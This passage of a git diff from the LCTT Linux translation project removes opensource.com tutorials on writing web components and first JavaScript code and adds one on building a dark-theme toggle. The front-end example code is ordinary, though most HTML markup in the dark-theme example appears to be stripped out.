(Kano Computer Kit – A Computer Anyone Can Make) -[12]: https://www.amazon.com/gp/prime/?tag=chmod7mediate-20 (Amazon Prime) -[13]: https://www.amazon.com/dp/B073VTCS66?tag=chmod7mediate-20&linkCode=ogi&th=1&psc=1 (Buy on Amazon) -[14]: https://itsfoss.com/raspberry-pi-os/ -[15]: https://help.kano.me/hc/en-us/sections/360001083699-Kano-OS -[16]: https://kano.me/row/downloadable -[17]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2021/07/academix-edu.png?resize=800%2C450&ssl=1 -[18]: https://academixproject.com/en/home/ -[19]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2021/07/sugarlabs.jpg?resize=992%2C744&ssl=1 -[20]: https://itsfoss.com/what-is-flatpak/ -[21]: https://www.sugarlabs.org -[22]: https://sourceforge.net/projects/cyberorg-home/files/Li-f-e/ -[23]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2021/07/skolelinux.png?resize=800%2C450&ssl=1 -[24]: http://www.skolelinux.org -[25]: https://www.linuxschools.com/forum/index-main.php -[26]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2021/07/escuelas-linux.jpg?resize=800%2C450&ssl=1 -[27]: https://itsfoss.com/escuelas-linux/ -[28]: https://itsfoss.com/lightweight-linux-beginners/ -[29]: https://escuelaslinux.sourceforge.io/english/index.html -[30]: https://bosslinux.in/eduboss diff --git a/sources/tech/20210718 Up for a Challenge- Try These ‘Advanced- Linux Distros -Not Based on Debian, Arch or Red Hat.md b/sources/tech/20210718 Up for a Challenge- Try These ‘Advanced- Linux Distros -Not Based on Debian, Arch or Red Hat.md index 3feed5306f..d3a958a85f 100644 --- a/sources/tech/20210718 Up for a Challenge- Try These ‘Advanced- Linux Distros -Not Based on Debian, Arch or Red Hat.md +++ b/sources/tech/20210718 Up for a Challenge- Try These ‘Advanced- Linux Distros -Not Based on Debian, Arch or Red Hat.md @@ -2,7 +2,7 @@ [#]: via: (https://itsfoss.com/advanced-linux-distros/) [#]: author: (Abhishek Prakash https://itsfoss.com/author/abhishek/) [#]: collector: (lujun9972) -[#]: translator: (zepoch) +[#]: translator: ( ) [#]: reviewer: ( ) [#]: publisher: ( ) [#]: url: ( ) diff --git a/sources/tech/20210721 Write your first web component.md b/sources/tech/20210721 Write your first web component.md deleted file mode 100644 index a2029f8ec6..0000000000 --- a/sources/tech/20210721 Write your first web component.md +++ /dev/null @@ -1,191 +0,0 @@ -[#]: subject: (Write your first web component) -[#]: via: (https://opensource.com/article/21/7/web-components) -[#]: author: (Ramakrishna Pattnaik https://opensource.com/users/rkpattnaik780) -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) - -Write your first web component -====== -Don't repeat yourself; create elements you can reuse when writing web -apps for any browser. -![Digital creative of a browser on the internet][1] - -Web components are a collection of open source technologies such as JavaScript and HTML that allow you to create custom elements that you can use and reuse in web apps. The components you create are independent of the rest of your code, so they're easy to reuse across many projects. - -Best of all, it's a platform standard supported by all major modern browsers. - -### What's in a web component? - - * **Custom elements:** This JavaScript API allows you to define new types of HTML elements. - * **Shadow DOM:** This JavaScript API provides a way to attach a hidden separate [Document Object Model][2] (DOM) to an element. This encapsulates your web component by keeping the styling, markup structure, and behavior isolated from other code on the page. It ensures that styles are not overridden by external styles or, conversely, that a style from your web component doesn't "leak" into the rest of the page**.** - * **HTML templates:** The element allows you to define reusable DOM elements. The element and its contents are not rendered in the DOM but can still be referenced using JavaScript. - - - -### Write your first web component - -You can write a simple web component with your favorite text editor and JavaScript. This how-to uses bootstrap to generate simple stylings then creates a simple card web component to display the temperature of a location passed to it as an attribute. The component uses the [Open Weather API][3], which requires you to generate an APPID/APIKey by signing in. - -The syntax of calling this web component requires the location's longitude and latitude: - - -``` -`` -``` - -Create a file named **weather-card.js** that will contain all the code for your web component. Start by defining your component. This can be done by creating a template element and adding some simple HTML elements into it: - - -``` -const template = document.createElement('template'); - -template.innerHTML = ` -  <div class="card"> -    <div class="card-body"></div> -  </div> -` -``` - -Start defining the WebComponent class and its constructor: - - -``` -class WeatherCard extends HTMLElement { -  constructor() { -    super(); -    this._shadowRoot = this.attachShadow({ 'mode': 'open' }); -    this._shadowRoot.appendChild(template.content.cloneNode(true)); -  } -  …. -} -``` - -The constructor attaches the shadowRoot and sets it to open mode. Then the template is cloned to shadowRoot. - -Next, access the attributes. These are the longitude and latitude, and you need them to make a GET request to the Open Weather API. This needs to be done in the `connectedCallback` function. You can use the `getAttribute` method to access the attributes or define getters to bind them to this object: - - -``` -get longitude() { -  return this.getAttribute('longitude'); -} - -get latitude() { -  return this.getAttribute('latitude'); -} -``` - -Now define the `connectedCallBack` method that fetches weather data whenever it is mounted: - - -``` -connectedCallback() { -  var xmlHttp = new XMLHttpRequest(); -  const url = `[http://api.openweathermap.org/data/2.5/weather?lat=${this.latitude}\&lon=${this.longitude}\&appid=API\\_KEY\\`][4] -  xmlHttp.open("GET", url, false); -  xmlHttp.send(null); -  this.$card = this._shadowRoot.querySelector('.card-body'); -  let responseObj = JSON.parse(xmlHttp.responseText); -  let $townName = document.createElement('p'); -  $townName.innerHTML = `Town: ${responseObj.name}`; -  this._shadowRoot.appendChild($townName); -  let $temperature = document.createElement('p'); -  $temperature.innerHTML = `${parseInt(responseObj.main.temp - 273)} &deg;C` -  this._shadowRoot.appendChild($temperature); -} -``` - -Once the weather data is retrieved, additional HTML elements are added to the template. Now, your class is defined. - -Finally, define and register a new custom element by using the method `window.customElements.define`: - - -``` -`window.customElements.define('weather-card', WeatherCard);` -``` - -The first argument is the name of the custom element, and the second argument is the defined class. Here's a [link to the entire component][5]. - -You've written your first web component! Now it's time to bring it to the DOM. To do that, you must load the JavaScript file with your web component definition in your HTML file (name it **index.html**): - - -``` -<!DOCTYPE html> -<html> - -<head> -  <meta charset="UTF-8"> -</head> - -<body> -  <weather-card longitude='85.8245' latitude='20.296'></weather-card> -  <script src='./weather-card.js'></script> -</body> - -</html> -``` - -Here's your web component in a browser: - -![Web component displayed in a browser][6] - -(Ramakrishna Pattnaik, [CC BY-SA 4.0][7]) - -Because web components need only HTML, CSS, and JavaScript, they are natively supported by browsers and can be used seamlessly with frontend frameworks, including React and Vue. The following simple code snippet shows how to use web components with a simple React App bootstrapped with [Create React App][8]. For this, you need to import the **weather-card.js** file you defined earlier and use it as a component: - - -``` -import './App.css'; -import './weather-card'; - -function App() { -  return ( -  <weather-card longitude='85.8245' latitude='20.296'></weather-card> -  ); -} - -export default App; -``` - -### Lifecycle of a web component - -All components follow a lifecycle from initialization to removal from the DOM (i.e., unmount). Methods are associated with each lifecycle event so that you can control the components better. The various lifecycle events of a web component include: - - * **Constructor:** The constructor for a web component is called before it is mounted, meaning it's created before the element is attached to the document. It's used for initializing local state, binding event handlers, and creating the shadow DOM. The constructor must make a call to `super()` to call the class the Web Component class extends. - * **ConnectedCallBack:** This is called when an element is mounted (that is, inserted into the DOM tree). It deals with initializations creating DOM nodes and is used mostly for operations like instantiating network requests. React developers can relate it to `componentDidMount`. - * **attributeChangedCallback:** This method accepts three arguments: `name`, `oldValue`, and `newValue`. It is called whenever one of the component's observed attributes gets changed. Attributes are declared observed attributes using a static `observedAttributes` getter: [code] static get observedAttributes() { -  return ['name', '_id']; -} [/code] `attributeChangedCallback` will be called whenever the attribute name or `_id` is changed. - * **DisconnectedCallBack:** This is called when an element is removed from the DOM tree (i.e., unmounted). It is equivalent to React's `componentWillUnmount`. It is used to free resources that won't be garbage-collected automatically, like unsubscribing from DOM events, stopping interval timers, or unregistering all registered callbacks. - * **AdoptedCallback:** It is called each time the custom element is moved to a new document. It only occurs when dealing with IFrames. - - - -### Modular open source - -Web components can be a powerful way to develop web apps. Whether you're comfortable with JavaScript or just getting started with it, it's easy to create reusable code with this great open standard, no matter what browser your target audience uses. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/21/7/web-components - -作者:[Ramakrishna Pattnaik][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/rkpattnaik780 -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/browser_web_internet_website.png?itok=g5B_Bw62 (Digital creative of a browser on the internet) -[2]: https://en.wikipedia.org/wiki/Document_Object_Model -[3]: https://openweathermap.org/api -[4]: http://api.openweathermap.org/data/2.5/weather?lat=${this.latitude}\&lon=${this.longitude}\&appid=API\_KEY\` -[5]: https://gist.github.com/rkpattnaik780/acc683d3796102c26c1abb03369e31f8 -[6]: https://opensource.com/sites/default/files/uploads/webcomponent.png (Web component displayed in a browser) -[7]: https://creativecommons.org/licenses/by-sa/4.0/ -[8]: https://create-react-app.dev/docs/getting-started/ diff --git a/sources/tech/20210722 Write your first JavaScript code.md b/sources/tech/20210722 Write your first JavaScript code.md deleted file mode 100644 index 0450e56fdd..0000000000 --- a/sources/tech/20210722 Write your first JavaScript code.md +++ /dev/null @@ -1,204 +0,0 @@ -[#]: subject: (Write your first JavaScript code) -[#]: via: (https://opensource.com/article/21/7/javascript-cheat-sheet) -[#]: author: (Seth Kenlon https://opensource.com/users/seth) -[#]: collector: (lujun9972) -[#]: translator: (lixin555) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) - -Write your first JavaScript code -====== -JavaScript was created for the web, but it can do so much more. Learn -the basics, then download our cheat sheet so you always have the details -at hand. -![Code with javascript on white background][1] - -JavaScript is a programming language full of pleasant surprises. Many people first encounter JavaScript as a language for the web. There's a JavaScript engine in all the major browsers, there are popular frameworks such as JQuery, Cash, and Bootstrap to help make web design easier, and there are even programming environments written in JavaScript. It seems to be everywhere on the internet, but it turns out that it's also a useful language for projects like [Electron][2], an open source toolkit for building cross-platform desktop apps with JavaScript. - -JavaScript is a surprisingly multipurpose language with a wide assortment of libraries for much more than just making websites. Learning the basics of the language is easy, and it's a gateway to building whatever you imagine. - -### Install JavaScript - -As you progress with JavaScript, you may find yourself wanting advanced JavaScript libraries and runtimes. When you're just starting, though, you don't have to install JavaScript at all. All major web browsers include a JavaScript engine to run the code. You can write JavaScript using your favorite text editor, load it into your web browser, and see what your code does. - -### Get started with JavaScript - -To write your first JavaScript code, open your favorite text editor, such as [Notepad++][3], [Atom][4], or [VSCode][5]. Because it was developed for the web, JavaScript works well with HTML, so first, just try some basic HTML: - - -``` -<[html][6]> -  <[head][7]> -    <[title][8]>JS</[title][8]> -  </[head][7]> -  <[body][9]> -    <[p][10] id="example">Nothing here.</[p][10]> -  </[body][9]> -</[html][6]> -``` - -Save the file, and then open it in a web browser. - -![HTML displayed in browser][11] - -(Seth Kenlon, [CC BY-SA 4.0][12]) - -To add JavaScript to this simple HTML page, you can either create a JavaScript file and refer to it in the page's `head` or just embed your JavaScript code in the HTML using the ` +``` + +The complete code: + +``` + + + +  Toggle - Dark Theme + + + + 
+ + + +``` + +### Complete themes + +The code so far may not fully switch the theme of a complex website. For instance, your site might have a header, a main, and a footer, each with multiple divs and other elements. In that case, you could create a standard dark theme CSS class and append it to the desired web parts. + +### Get familiar with your browser's console + +To inspect your browser's console, on the webpage where you run this code, press `Ctrl+Shift+I` or right-click and select the `Inspect` option. + +When you select `Elements` in the console and toggle your theme button, the browser gives you an indication of whether or not your JavaScript is working. In the console, you can see that the CSS class you appended using JavaScript is added and removed as you toggle. + +![Use browser tools to test light and dark themes][3] + +Image by: (Sachin Samal, CC BY-SA 4.0) + +Add a navigation and card section to see how adding the CSS class name on an HTML element with JavaScript works. + +### Example code for a dark theme + +Here's some example code. You can alternately view it with a live preview [here][4]. + +``` + + + +  Toggle - Dark Theme + + + + + + 
+   

Beginner Friendly Dark Theme

+ + 
+   
+     
+ +       
+         
+           
+             
What is Lorem Ipsum?
+             
    +               
  • Sed sit amet felis tellus.
  • +               
  • Sed sit amet felis tellus.
  • +             
+           
+         
+       
+ +       
+         
+           
+             
What is Lorem Ipsum?
+             
    +               
  • Sed sit amet felis tellus.
  • +               
  • Sed sit amet felis tellus.
  • +             
+           
+         
+       
+ +       
+         
+           
+             
What is Lorem Ipsum?
+             
    +               
  • Sed sit amet felis tellus.
  • +               
  • Sed sit amet felis tellus.
  • +             
+           
+         
+       
+ +     
+   
+  + +``` + +The `for...of` loop of JavaScript applies ".dark-theme" class styling properties to each `card` on the page, regardless of its position. It applies the theme to all web parts selected with `querySelectorAll()` in the `